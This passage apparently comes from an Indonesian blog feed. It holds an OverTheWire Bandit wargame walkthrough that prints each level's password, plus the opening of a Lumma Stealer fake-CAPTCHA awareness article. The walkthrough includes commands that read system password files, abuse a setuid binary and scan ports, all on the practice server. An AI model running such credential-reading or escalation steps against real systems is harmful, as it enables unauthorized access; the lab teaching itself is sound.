src="https://cdn-images-1.medium.com/max/646/1*93KeVi0v-3AnOo5kHzWmzw.png" /></figure><p><strong>Penjelasan:</strong> Dengan menambahkan ./ sebelum nama file, bash memahami bahwa - adalah nama file, bukan opsi command.</p><p>flag : {263JGJPfgU6LtdEvgfWU1XP5yac29mFx}</p><h3>Level 2 → Level 3</h3><h3>🎯 Goal</h3><p>Password tersimpan dalam file bernama <strong>spaces in this filename</strong> di home directory.</p><h3>Konsep</h3><p>Menangani nama file yang mengandung spasi.</p><h3>Step-by-Step</h3><pre># Login sebagai bandit2<br>ssh bandit2@bandit.labs.overthewire.org -p 2220</pre><pre># Cara 1: Gunakan quotes<br>cat &quot;./--spaces in this filename--&quot;</pre><pre># Cara 2: Escape spasi dengan backslash<br>cat ./--spaces\ in\ this\ filename--</pre><pre># Cara 3: Tab completion (tekan TAB setelah mengetik &#39;sp&#39;)<br>cat sp[TAB]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/539/1*tPKVze9Dp9BSr8KRdbeKLg.png" /></figure><p><strong>Penjelasan:</strong> Spasi dalam nama file harus di-escape atau dibungkus dengan tanda kutip agar shell tidak memisahnya sebagai argumen berbeda.</p><p>flag : {MNk8KNH3Usiio41PRUEoDFPqfxLPlSmx}</p><h3>Level 3 → Level 4</h3><h3>🎯 Goal</h3><p>Password tersimpan dalam <strong>hidden file</strong> di dalam direktori inhere.</p><h3>Konsep</h3><p>File tersembunyi di Linux diawali dengan titik (.). Perintah ls biasa tidak menampilkannya.</p><h3>Step-by-Step</h3><pre># Login sebagai bandit3<br>ssh bandit3@bandit.labs.overthewire.org -p 2220</pre><pre># Masuk ke direktori inhere<br>cd inhere</pre><pre># Tampilkan semua file termasuk hidden<br>ls -la</pre><pre># Baca hidden file (nama file biasanya ...Hiding-From-You atau .hidden)<br>cat .hidden<br># atau<br>cat &quot;...Hiding-From-You&quot;</pre><p><strong>Penjelasan:</strong> Flag -a pada ls -la berarti <em>all</em>, menampilkan file yang diawali titik.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/1*o29oXamn0hindahszxJJCg.png" /></figure><p>flag : {2WmrDFRmJIq3IPxneAaMGhap0pFhF3NJ}</p><h3>Level 4 → Level 5</h3><h3>🎯 Goal</h3><p>Password tersimpan dalam <strong>satu-satunya file human-readable</strong> di dalam direktori inhere.</p><h3>Konsep</h3><p>Menggunakan perintah file untuk menentukan tipe file.</p><h3>Step-by-Step</h3><pre># Login sebagai bandit4<br>ssh bandit4@bandit.labs.overthewire.org -p 2220</pre><pre>cd inhere</pre><pre># Cek tipe semua file<br>file ./*</pre><pre># Cari file yang bertipe ASCII text (human-readable)<br># Biasanya hanya -file07 yang bertipe ASCII<br>cat ./-file07</pre><p><strong>Penjelasan:</strong> Perintah file menganalisis content file dan memberitahu tipe datanya. File binary tidak akan terbaca sebagai teks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/472/1*qROhe6LxPAMyYBT0DTPyvw.png" /></figure><p>Flag : 4oQYVPkxZOOEOO5pTW81FB8j8lxXGUQw</p><h3>Level 5 → Level 6</h3><h3>🎯 Goal</h3><p>Password tersimpan di suatu file di bawah direktori inhere dengan properti: human-readable, <strong>1033 bytes</strong>, tidak executable.</p><h3>Konsep</h3><p>Menggunakan find dengan multiple flag untuk menyaring file berdasarkan properties.</p><h3>Step-by-Step</h3><pre># Login sebagai bandit5<br>ssh bandit5@bandit.labs.overthewire.org -p 2220</pre><pre>cd inhere</pre><pre># Cari file dengan size 1033 bytes, tidak executable<br>find . -type f -size 1033c ! -executable</pre><pre># Baca file hasil pencarian<br>cat ./maybehere07/.file2</pre><p><strong>Penjelasan:</strong></p><ul><li>-size 1033c → ukuran tepat 1033 bytes (c = bytes)</li><li>! -executable → bukan file executable</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*vDpgDL8SLVrwBUsc3oGXVg.png" /></figure><p>Flag : HWasnPhtq9AVKe0dmk45nxy20cvUa6EG</p><h3>Level 6 → Level 7</h3><h3>🎯 Goal</h3><p>Password tersimpan <strong>di suatu tempat di server</strong> dengan properti: dimiliki user bandit7, group bandit6, ukuran <strong>33 bytes</strong>.</p><h3>Konsep</h3><p>Menggunakan find dari root directory dengan filter owner, group, dan size.</p><h3>Step-by-Step</h3><pre># Login sebagai bandit6<br>ssh bandit6@bandit.labs.overthewire.org -p 2220</pre><pre># Cari dari root, filter berdasarkan user, group, dan size<br>find / -type f -user bandit7 -group bandit6 -size 33c 2&gt;/dev/null</pre><pre># Baca file yang ditemukan<br>cat /var/lib/dpkg/info/bandit7.password</pre><p><strong>Penjelasan:</strong> 2&gt;/dev/null membuang semua pesan error &quot;Permission denied&quot; agar output bersih dan hanya menampilkan file yang berhasil ditemukan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*lO107qt4zHUf6o2FXAlAPA.png" /></figure><p>Flag : morbNTDkSW6jIlUc0ymOdMaLnOlFVAaj</p><h3>Level 7 → Level 8</h3><h3>🎯 Goal</h3><p>Password tersimpan dalam file data.txt di sebelah kata <strong>&quot;millionth&quot;</strong>.</p><h3>Konsep</h3><p>Menggunakan grep untuk mencari string dalam file besar.</p><h3>Step-by-Step</h3><pre># Login sebagai bandit7<br>ssh bandit7@bandit.labs.overthewire.org -p 2220</pre><pre># Cari baris yang mengandung kata &quot;millionth&quot;<br>grep &quot;millionth&quot; data.txt</pre><p><strong>Output contoh:</strong></p><pre>millionth    TESKZC20X9T1KSJX....</pre><p><strong>Penjelasan:</strong> grep memfilter baris yang mengandung pattern yang ditentukan, sangat efisien untuk file berukuran besar.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/463/1*eN6atVz9yBJeeV3MuFUzaA.png" /></figure><p>flag : dfwvzFQi4mU0wfNbFOe9RoWskMLg7eEc</p><h3>Level 8 → Level 9</h3><h3>🎯 Goal</h3><p>Password adalah satu-satunya baris yang <strong>hanya muncul sekali</strong> dalam data.txt.</p><h3>Konsep</h3><p>Menggunakan pipeline sort dan uniq untuk menemukan baris unik.</p><h3>Step-by-Step</h3><pre># Login sebagai bandit8<br>ssh bandit8@bandit.labs.overthewire.org -p 2220</pre><pre># Sort data, lalu tampilkan hanya baris yang unik (muncul 1x)<br>sort data.txt | uniq -u</pre><p><strong>Penjelasan:</strong></p><ul><li>sort → mengurutkan agar baris duplikat berdekatan</li><li>uniq -u → menampilkan hanya baris yang tidak memiliki duplikat</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/425/1*b0ZKh6ibevqgEvtA0oNiuQ.png" /></figure><p>Flag : 4CKMh1JI91bUIZZPXDqGanal4xvAg0JM</p><h3>Level 9 → Level 10</h3><h3>🎯 Goal</h3><p>Password tersimpan dalam data.txt di antara beberapa karakter =, dalam bentuk string human-readable.</p><h3>Konsep</h3><p>File data.txt adalah binary. Gunakan strings untuk mengekstrak teks yang bisa dibaca.</p><h3>Step-by-Step</h3><pre># Login sebagai bandit9<br>ssh bandit9@bandit.labs.overthewire.org -p 2220</pre><pre># Ekstrak string readable dan filter yang mengandung &#39;=&#39;<br>strings data.txt | grep &quot;==&quot;</pre><p><strong>Output contoh:</strong></p><pre>========== the password is<br>========== G7w8LIi6J3kTb8A7....</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/433/1*Uu-98fytRqd_gVDNieMgqg.png" /></figure><p>Flag : FGUW5ilLVJrxX9kMYMmlN4MgbpfMiqey</p><h3>Level 10 → Level 11</h3><h3>🎯 Goal</h3><p>Password tersimpan dalam data.txt yang di-encode dengan <strong>Base64</strong>.</p><h3>Konsep</h3><p>Base64 adalah encoding yang merepresentasikan binary data dalam format ASCII.</p><h3>Step-by-Step</h3><pre># Login sebagai bandit10<br>ssh bandit10@bandit.labs.overthewire.org -p 2220</pre><pre># Decode base64<br>base64 -d data.txt</pre><pre># Atau menggunakan pipe<br>cat data.txt | base64 --decode</pre><p><strong>Output contoh:</strong></p><pre>The password is 6zPeziLdR2RKNdNYFNb6nVCKzphlJ....</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/463/1*wf8sYwrpkklM01ckNdQfUQ.png" /></figure><p>Flag : dtR173fZKb0RRsDFSGsg2RWnpNVj3qRr</p><h3>Level 11 → Level 12</h3><h3>🎯 Goal</h3><p>Password dalam data.txt di-encode dengan <strong>ROT13</strong> (setiap huruf dirotasi 13 posisi).</p><h3>Konsep</h3><p>ROT13 adalah substitution cipher sederhana. tr dapat digunakan untuk transliterasi karakter.</p><h3>Step-by-Step</h3><pre># Login sebagai bandit11<br>ssh bandit11@bandit.labs.overthewire.org -p 2220</pre><pre># Decode ROT13 menggunakan tr<br>cat data.txt | tr &#39;A-Za-z&#39; &#39;N-ZA-Mn-za-m&#39;</pre><p><strong>Penjelasan:</strong> tr &#39;A-Za-z&#39; &#39;N-ZA-Mn-za-m&#39; mengganti setiap huruf dengan pasangan ROT13-nya (A↔N, B↔O, dst.).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/514/1*7L1-aTE3q694p_82yiU1jQ.png" /></figure><p>Flag : 7x16WNeHIi5YkIhWsfFIqoognUTyj9Q4</p><h3>Level 12 → Level 13</h3><h3>🎯 Goal</h3><p>data.txt adalah hexdump dari file yang telah <strong>berulang kali dikompresi</strong>.</p><h3>Konsep</h3><p>Level ini mengajarkan cara mengenali dan membuka berbagai format kompresi: gzip, bzip2, tar.</p><h3>Step-by-Step</h3><pre># Login sebagai bandit12<br>ssh bandit12@bandit.labs.overthewire.org -p 2220</pre><pre># Buat direktori kerja di /tmp<br>mkdir /tmp/mywork<br>cp data.txt /tmp/mywork/<br>cd /tmp/mywork</pre><pre># Konversi hexdump kembali ke binary<br>xxd -r data.txt &gt; data.bin</pre><pre># Cek tipe file<br>file data.bin</pre><pre># Ekstrak berulang sesuai tipe yang terdeteksi<br># Jika gzip:<br>mv data.bin data.gz &amp;&amp; gunzip data.gz<br># Jika bzip2:<br>mv data.bin data.bz2 &amp;&amp; bzip2 -d data.bz2<br># Jika tar:<br>tar xf data.bin<br># Ulangi cek dengan &#39;file&#39; hingga mendapat ASCII text</pre><p><strong>Tip:</strong> Ulangi perintah file setelah setiap ekstraksi. Proses ini bisa memerlukan 5–10 kali dekompresi.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*to3TsOgy8vI-_9DZp0JxaQ.png" /></figure><p>Flag : FO5dwFsc0cbaIiH0h8J2eUks2vdTDwAn</p><h3>Level 13 → Level 14</h3><h3>🎯 Goal</h3><p>Tidak ada password di level ini. Sebagai gantinya, ada <strong>SSH private key</strong> untuk login ke bandit14.</p><h3>Konsep</h3><p>Autentikasi SSH menggunakan private key alih-alih password.</p><h3>Step-by-Step</h3><pre># Login sebagai bandit13<br>ssh bandit13@bandit.labs.overthewire.org -p 2220</pre><pre># Lihat private key<br>ls<br># Output: sshkey.private</pre><pre># Login ke bandit14 menggunakan key tersebut<br>ssh -i sshkey.private bandit14@localhost -p 2220</pre><pre># Setelah masuk sebagai bandit14, ambil password<br>cat /etc/bandit_pass/bandit14</pre><p><strong>Penjelasan:</strong> Flag -i pada SSH menentukan identity file (private key) yang digunakan untuk autentikasi.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*URnRvUrnnTGiy8XPqNkGow.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/417/1*0UYOtlZQ3jkbp7j48kz5Eg.png" /></figure><p>Flag : MU4VWeTyJk8ROof1qqmcBPaLh7lDCPvS</p><h3>Level 14 → Level 15</h3><h3>🎯 Goal</h3><p>Submit password bandit14 ke <strong>port 30000 di localhost</strong> untuk mendapatkan password berikutnya.</p><h3>Konsep</h3><p>Komunikasi jaringan dasar dengan nc (netcat).</p><h3>Step-by-Step</h3><pre># Masih sebagai bandit14 (dari level sebelumnya)</pre><pre># Kirim password ke port 30000<br>echo &quot;PASSWORD_BANDIT14&quot; | nc localhost 30000</pre><pre># Atau interaktif<br>nc localhost 30000<br># Kemudian ketik password dan tekan Enter</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/393/1*9BaCoCDp1AOw2-kHUuNs0g.png" /></figure><p>Flag : 8xCjnmgoKbGLhHFAZlGE5Tmu4M2tKJQo</p><p><strong>Output:</strong></p><pre>Correct!<br>8xCjnmgoKbGLhHFAZlGE5Tmu4M2tznOm</pre><h3>Level 15 → Level 16</h3><h3>🎯 Goal</h3><p>Submit password bandit15 ke <strong>port 30001 di localhost</strong> menggunakan <strong>enkripsi SSL/TLS</strong>.</p><h3>Konsep</h3><p>Koneksi terenkripsi SSL menggunakan openssl atau ncat.</p><h3>Step-by-Step</h3><pre># Login sebagai bandit15<br>ssh bandit15@bandit.labs.overthewire.org -p 2220</pre><pre># Gunakan openssl s_client untuk koneksi SSL<br>openssl s_client -connect localhost:30001 -quiet</pre><pre># Setelah koneksi terbentuk, ketik password bandit15 dan tekan Enter<br># Atau pipe langsung:<br>echo &quot;PASSWORD_BANDIT15&quot; | openssl s_client -connect localhost:30001 -quiet</pre><p><strong>Penjelasan:</strong> openssl s_client membuka koneksi SSL/TLS ke server. Flag -quiet mengurangi output verbose SSL handshake.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*cjPsrVR3Kd6c8eD0nO7Zsw.png" /></figure><p>Flag : kSkvUpMQ7lBYyCM4GBPvCvT1BfWRy0Dx</p><h3>Level 16 → Level 17</h3><h3>🎯 Goal</h3><p>Temukan port antara <strong>31000–32000</strong> yang menggunakan SSL, lalu kirim password untuk mendapatkan <strong>private SSH key</strong> bandit17.</p><h3>Konsep</h3><p>Port scanning dengan nmap dan SSL negotiation.</p><h3>Step-by-Step</h3><pre># Login sebagai bandit16<br>ssh bandit16@bandit.labs.overthewire.org -p 2220</pre><pre># Scan port 31000-32000 untuk menemukan yang menjalankan SSL<br>nmap -sV --script ssl-cert -p 31000-32000 localhost</pre><pre># Atau scan lebih cepat<br>nmap -p 31000-32000 localhost</pre><pre># Test port yang terdeteksi menggunakan SSL (misal port 31790)<br>echo &quot;kSkvUpMQ7lBYyCM4GBPvCvT1BfWRy0Dx&quot; | openssl s_client -connect localhost:31790 -quiet</pre><pre># Simpan private key yang diterima<br>mkdir /tmp/key17<br># Copy-paste private key ke file<br>nano /tmp/key17/sshkey.private<br>chmod 400 /tmp/key17/sshkey.private</pre><pre># Login ke bandit17<br>ssh -i /tmp/key17/sshkey.private bandit17@localhost -p 2220</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*ICJSnneyO-_VpeZAmi_ILg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/617/1*xx6eHgDLkhe8zUxJWmxt2A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/598/1*9tc8sMvhMnw1I-yHSURF6g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*UdeEka7YMAlqHWkIZW7lLw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/1*G-Zt1UrVAaRBTZlQPP3irA.png" /></figure><p>Flag : EReVavePLFHtFlFsjn3hyzMlvSuSAcRD</p><h3>Level 17 → Level 18</h3><h3>🎯 Goal</h3><p>Ada dua file: passwords.old dan passwords.new. Password adalah <strong>satu baris yang berubah</strong> antara kedua file tersebut.</p><h3>Konsep</h3><p>Membandingkan dua file menggunakan diff.</p><h3>Step-by-Step</h3><pre># Login sebagai bandit17<br>ssh bandit17@bandit.labs.overthewire.org -p 2220</pre><pre># Bandingkan kedua file<br>diff passwords.old passwords.new</pre><p><strong>Output contoh:</strong></p><pre>42c42<br>&lt; hlbSBPAWJmL6WFDb06....   ← baris di passwords.old<br>---<br>&gt; p6ggwdNHncnmCNxuAt....   ← baris di passwords.new (ini password bandit18!)</pre><p><strong>Penjelasan:</strong> diff menampilkan perbedaan antara dua file. Baris yang diawali &gt; adalah yang ada di file baru (passwords.new).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/493/1*jawFNUmrtTpSMaHKa-Tddg.png" /></figure><p>Flag : x2gLTTjFwMOhQ8oWNbMN362QKxfRqGlO</p><h3>Level 18 → Level 19</h3><h3>🎯 Goal</h3><p>Password ada di file readme di home directory, tapi .bashrc dimodifikasi agar <strong>logout otomatis</strong> saat login SSH.</p><h3>Konsep</h3><p>Menjalankan command langsung saat SSH tanpa memunculkan interactive shell.</p><h3>Step-by-Step</h3><pre># Jalankan command &#39;cat readme&#39; langsung saat SSH, tanpa shell interaktif<br>ssh bandit18@bandit.labs.overthewire.org -p 2220 &quot;cat readme&quot;</pre><pre># Alternatif: gunakan sh tanpa .bashrc<br>ssh bandit18@bandit.labs.overthewire.org -p 2220 &quot;bash --norc&quot;</pre><pre># Atau copy file ke stdout<br>ssh bandit18@bandit.labs.overthewire.org -p 2220 cat readme</pre><p><strong>Penjelasan:</strong> Dengan menambahkan command setelah SSH connection string, command tersebut dieksekusi sebelum shell membaca .bashrc, sehingga auto-logout tidak terpicu.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/1*QGOWO-sm9Ii0RkIT5o9lOg.png" /></figure><p>Flag : cGWpMaKXVwDUNgPAVJbWYuGHVn9zl3j8</p><h3>Level 19 → Level 20</h3><h3>🎯 Goal</h3><p>Gunakan <strong>setuid binary</strong> bernama bandit20-do untuk membaca password bandit20.</p><h3>Konsep</h3><p>SUID (Set User ID) bit memungkinkan user menjalankan program dengan hak akses owner program tersebut.</p><h3>Step-by-Step</h3><pre># Login sebagai bandit19<br>ssh bandit19@bandit.labs.overthewire.org -p 2220</pre><pre># Lihat file di home directory<br>ls -la</pre><pre># Perhatikan setuid binary bandit20-do<br># -rwsr-x--- berarti SUID aktif (s di posisi owner execute)<br>./bandit20-do</pre><pre># Gunakan binary untuk membaca password bandit20<br>./bandit20-do cat /etc/bandit_pass/bandit20</pre><p><strong>Output:</strong> Password bandit20 akan tampil karena binary berjalan sebagai bandit20.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/549/1*k4EBV6hMmtTJqbKsWHm8gQ.png" /></figure><p>Flag : 0qXahG8ZjOVMN9Ghs7iOWsCfZyXOUbYO</p><h3>Level 20 → Level 21</h3><h3>🎯 Memahami Tujuan (Objective)</h3><p>Di level ini, ada sebuah file <em>binary</em> (program yang bisa dieksekusi) bernama suconnect di dalam <em>home directory</em>. Program ini memiliki izin <em>setuid</em> (berjalan dengan hak akses pembuatnya, yaitu bandit21).</p><p>Tugas program ini adalah:</p><ol><li>Terhubung ke localhost pada <em>port</em> yang kita tentukan.</li><li>Membaca satu baris teks yang kita kirim dari koneksi tersebut.</li><li>Membandingkannya dengan <em>password</em> level 20 saat ini.</li><li>Jika cocok, ia akan mengirimkan <em>password</em> level 21 kepada kita.</li></ol><p><strong>Konsep Solusi:</strong> Kita harus membuat sebuah <em>server</em> kecil secara lokal (menggunakan nc / Netcat) yang memegang <em>password</em> level 20. Kemudian, kita jalankan program suconnect agar terhubung ke server kecil kita itu. Karena kita butuh menjalankan dua perintah secara bersamaan di satu terminal, kita akan menggunakan fitur <em>Unix job control</em> (&amp;) untuk menjalankan server di latar belakang (<em>background</em>).</p><h3>🛠️ Langkah-demi-Langkah (Step-by-Step)</h3><p><strong>Langkah 1: Masuk ke server Bandit20</strong></p><p>Jika kamu belum masuk, gunakan SSH dengan <em>password</em> yang kamu dapatkan dari level 19:</p><p>Bash</p><pre>ssh bandit20@bandit.labs.overthewire.org -p 2220</pre><p><strong>Langkah 2: Periksa file yang ada di direktori</strong></p><p>Mari kita lihat file <em>binary</em> yang disebutkan dalam soal:</p><p>Bash</p><pre>ls -l</pre><p>Kamu akan melihat file bernama suconnect dengan warna merah/latar belakang merah yang menandakan file eksekusi dengan <em>setuid</em>.</p><p><strong>Langkah 3: Siapkan “Server” Netcat di Latar Belakang</strong></p><p>Kita akan menggunakan Netcat (nc) untuk membuka <em>port</em> (misalnya port 4444) yang akan mendengarkan koneksi yang masuk. Di saat yang sama, kita akan menyuapinya dengan <em>password</em> level 20 agar langsung dikirimkan ke siapa pun yang terhubung.</p><p>Gunakan perintah cat /etc/bandit_pass/bandit20 untuk membaca <em>password</em> saat ini secara otomatis, lalu jalankan di latar belakang dengan menambahkan &amp; di akhir perintah:</p><p>Bash</p><pre>echo $(cat /etc/bandit_pass/bandit20) | nc -l -p 4444 &amp;</pre><p><em>Penjelasan perintah:</em></p><ul><li>echo $(cat ...) : Mengambil <em>password</em> level 20 dan mencetaknya.</li><li>| (pipe) : Meneruskan cetakan <em>password</em> tersebut ke perintah selanjutnya.</li><li>nc -l -p 4444 : Netcat dalam mode <em>listen</em> (-l) pada port 4444.</li><li>&amp; : Memerintahkan terminal untuk menjalankan proses ini di <em>background</em>, sehingga kamu bisa mengetik perintah lain di terminal yang sama.</li><li><em>(Kamu akan melihat output seperti </em><em>[1] 12345 yang menandakan ID dari job di background).</em></li></ul><p><strong>Langkah 4: Jalankan program </strong><strong>suconnect</strong></p><p>Sekarang, jalankan <em>binary</em> suconnect dan perintahkan untuk terhubung ke <em>port</em> yang baru saja kita buka (4444):</p><p>Bash</p><pre>./suconnect 4444</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*IPotM8WG8pvZvbbI1Xm_0w.png" /></figure><p>Flag : EeoULMCra2q0dSkYj561DX7s1CpBuOBt</p><h3>Rangkuman Konsep Per Level</h3><p><strong>Level 0–5: Dasar-Dasar Navigasi &amp; Pembacaan File</strong></p><ul><li><strong>0 → 1:</strong> Membaca file standar dalam direktori. (cat, ls)</li><li><strong>1 → 2:</strong> Menangani nama file dengan karakter khusus, seperti <em>dash</em> -. (cat ./-)</li><li><strong>2 → 3:</strong> Membaca file yang namanya mengandung spasi. (cat &quot;nama file&quot;)</li><li><strong>3 → 4:</strong> Mengidentifikasi file tersembunyi (<em>hidden files</em>). (ls -la)</li><li><strong>4 → 5:</strong> Memeriksa tipe data atau format sebenarnya dari sebuah file. (file ./*)</li></ul><p><strong>Level 5–10: Teknik Pencarian &amp; Manipulasi Teks</strong></p><ul><li><strong>5 → 6:</strong> Mencari file berdasarkan properti spesifik, seperti ukuran dan tipe. (find -size -type)</li><li><strong>6 → 7:</strong> Mencari file di seluruh server dan menyembunyikan pesan <em>error</em> (seperti <em>Permission Denied</em>). (find / 2&gt;/dev/null)</li><li><strong>7 → 8:</strong> Menyaring teks untuk mencari kata kunci (<em>keyword</em>) tertentu. (grep &quot;keyword&quot;)</li><li><strong>8 → 9:</strong> Mengurutkan data dan mencari baris teks yang benar-benar unik. (sort | uniq -u)</li><li><strong>9 → 10:</strong> Mengekstrak <em>string</em> teks yang dapat dibaca manusia dari dalam file biner. (strings | grep ==)</li></ul><p><strong>Level 10–15: Kriptografi Dasar &amp; Jaringan</strong></p><ul><li><strong>10 → 11:</strong> Melakukan proses <em>decoding</em> pada teks berformat Base64. (base64 -d)</li><li><strong>11 → 12:</strong> Memecahkan sandi substitusi Caesar Cipher (<em>ROT13</em>). (tr)</li><li><strong>12 → 13:</strong> Membongkar file dengan teknik kompresi berlapis (<em>Hex dump, Gzip, TarArchive</em>). (xxd -r, gunzip, tar)</li><li><strong>13 → 14:</strong> Login ke dalam server menggunakan <em>SSH Private Key</em> (tanpa <em>password</em>). (ssh -i)</li><li><strong>14 → 15:</strong> Berinteraksi langsung dengan <em>port</em> dan <em>daemon</em> menggunakan Netcat. (nc localhost 30000)</li></ul><p><strong>Level 15–20: Jaringan Lanjut &amp; Manajemen Hak Akses (Privilege)</strong></p><ul><li><strong>15 → 16:</strong> Terhubung ke layanan jaringan yang diamankan dengan enkripsi SSL/TLS. (openssl s_client)</li><li><strong>16 → 17:</strong> Melakukan pemindaian <em>port</em> jaringan (Port Scanning) dan mengecek sertifikat SSL. (nmap, openssl)</li><li><strong>17 → 18:</strong> Membandingkan isi dua buah file untuk mencari perbedaannya (<em>diff</em>). (diff)</li><li><strong>18 → 19:</strong> Melakukan <em>bypass</em> terhadap konfigurasi terminal .bashrc yang memutus koneksi saat login SSH. (ssh user@host &quot;command&quot;)</li><li><strong>19 → 20:</strong> Menjalankan perintah dengan memanfaatkan <em>file binary</em> yang memiliki <em>Set-user Identification</em> (SUID). (./bandit20-do)</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=919d4bd113b6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Awas! Jebakan “Saya Bukan Robot” yang Bisa Mencuri Semua Akun Kamu (Bedah Kasus Lumma Stealer)]]></title>
            <link>https://medium.com/@adriansyah1230/awas-jebakan-saya-bukan-robot-yang-bisa-mencuri-semua-akun-kamu-bedah-kasus-lumma-stealer-7ea6d5257b62?source=rss-bde419e52529------2</link>
            <guid isPermaLink="false">https://medium.com/p/7ea6d5257b62</guid>
            <category><![CDATA[fake-captcha]]></category>
            <category><![CDATA[lumma-stealer]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Adrian Syah Abidin]]></dc:creator>
            <pubDate>Thu, 12 Feb 2026 02:36:40 GMT</pubDate>
            <atom:updated>2026-02-12T02:36:40.673Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S5oBJEruV3AsEXPD0D6LJw.png" /></figure><p><strong>Ditulis Oleh</strong> : Adrian Syah Abidin</p><p>Pernah nggak sih kamu lagi asyik mau <em>download</em> mod <em>game</em> atau nonton film <em>streaming</em>, tiba-tiba muncul halaman <strong>“Verify you are human”</strong> atau <strong>“I’m not a robot”</strong>?</p><p>Biasanya, kita disuruh nge-klik gambar lampu lalu lintas atau <em>crosswalk</em>, kan? Tapi, gimana kalau halaman CAPTCHA itu justru adalah jebakan mematikan yang dibikin oleh <em>hacker</em> untuk merampok semua <em>password</em> media sosial, akun <em>game</em> (Steam/Valorant), sampai dompet kripto kamu?</p><p>Perkenalkan, ini adalah kampanye kejahatan siber terbaru yang lagi viral banget: <strong>Penyebaran Lumma Stealer lewat Fake CAPTCHA</strong>.</p><p>Sebagai pengamat <em>cyber security</em>, kali ini saya mau ngajak kamu membedah gimana sih cara kerja penipuan canggih ini. Kita bakal pakai kacamata detektif menggunakan <strong>Cyber Kill Chain</strong>, yaitu 7 tahapan standar yang dipakai <em>hacker</em> untuk melancarkan serangannya. Yuk, kita bongkar!</p><h3>Apa itu Lumma Stealer?</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FS2IIadX7RgY%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DS2IIadX7RgY&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FS2IIadX7RgY%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/3de7ecfb3ef12d0e07f8b0023cf17117/href">https://medium.com/media/3de7ecfb3ef12d0e07f8b0023cf17117/href</a></iframe><p>Singkatnya, <strong>Lumma Stealer</strong> adalah <em>malware</em> (virus jahat) spesialis pencuri data. Begitu dia masuk ke laptop atau PC kamu, dia bakal ngubek-ngubek <em>browser</em> (Chrome, Edge, dll) untuk mencuri <em>password</em> yang tersimpan, riwayat <em>chat</em>, <em>cookies</em>, dan data penting lainnya. Ngerinya, virus ini dijual bebas di <em>dark web</em>, jadi siapa saja yang punya niat jahat bisa membelinya dan menyebarkannya.</p><p>Baru-baru ini, cara penyebarannya berevolusi jadi sangat licik: <strong>menggunakan halaman CAPTCHA palsu</strong>.</p><h3>Bedah Kasus: 7 Tahapan Cyber Kill Chain Lumma Stealer</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fm8xWhpGny2Y%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Dm8xWhpGny2Y&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2Fm8xWhpGny2Y%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/e209f80579e9998c97f3be37e283f67d/href">https://medium.com/media/e209f80579e9998c97f3be37e283f67d/href</a></iframe><p>Biar gampang paham, bayangin <em>Cyber Kill Chain</em> ini kayak “Buku Panduan Rampok” milik <em>hacker</em>. Ada 7 langkah dari awal mereka ngintip, sampai akhirnya berhasil bawa kabur harta karun kamu.</p><h4>1. Reconnaissance (Pengintaian / Cari Mangsa)</h4><p>Di tahap ini, <em>hacker</em> nggak menargetkan kamu secara personal. Mereka mencari “tempat nongkrong” di internet yang ramai dikunjungi orang yang gampang dikelabui. Biasanya mereka meretas (<em>hack</em>) situs-situs web bajakan, forum <em>game</em>, atau bikin tombol <em>download</em> palsu di internet. Tujuannya satu: mencari korban yang lagi buru-buru pengen nge-klik sesuatu.</p><h4>2. Weaponization (Meracik Senjata)</h4><p>Ini tahap pembuatan jebakannya. <em>Hacker</em> membungkus virus Lumma Stealer dengan trik psikologis. Mereka membuat sebuah halaman <em>website</em> yang tampilannya 100% mirip dengan halaman verifikasi “I’m not a robot” (CAPTCHA) resmi. Tapi di balik halaman itu, mereka menyiapkan sebuah <em>script</em> (kode perintah) jahat berbahasa PowerShell yang siap menyedot data.</p><h4>3. Delivery (Pengiriman Senjata)</h4><p>Gimana caranya senjata itu sampai ke layar laptopmu? Saat kamu asyik <em>browsing</em> dan nyasar 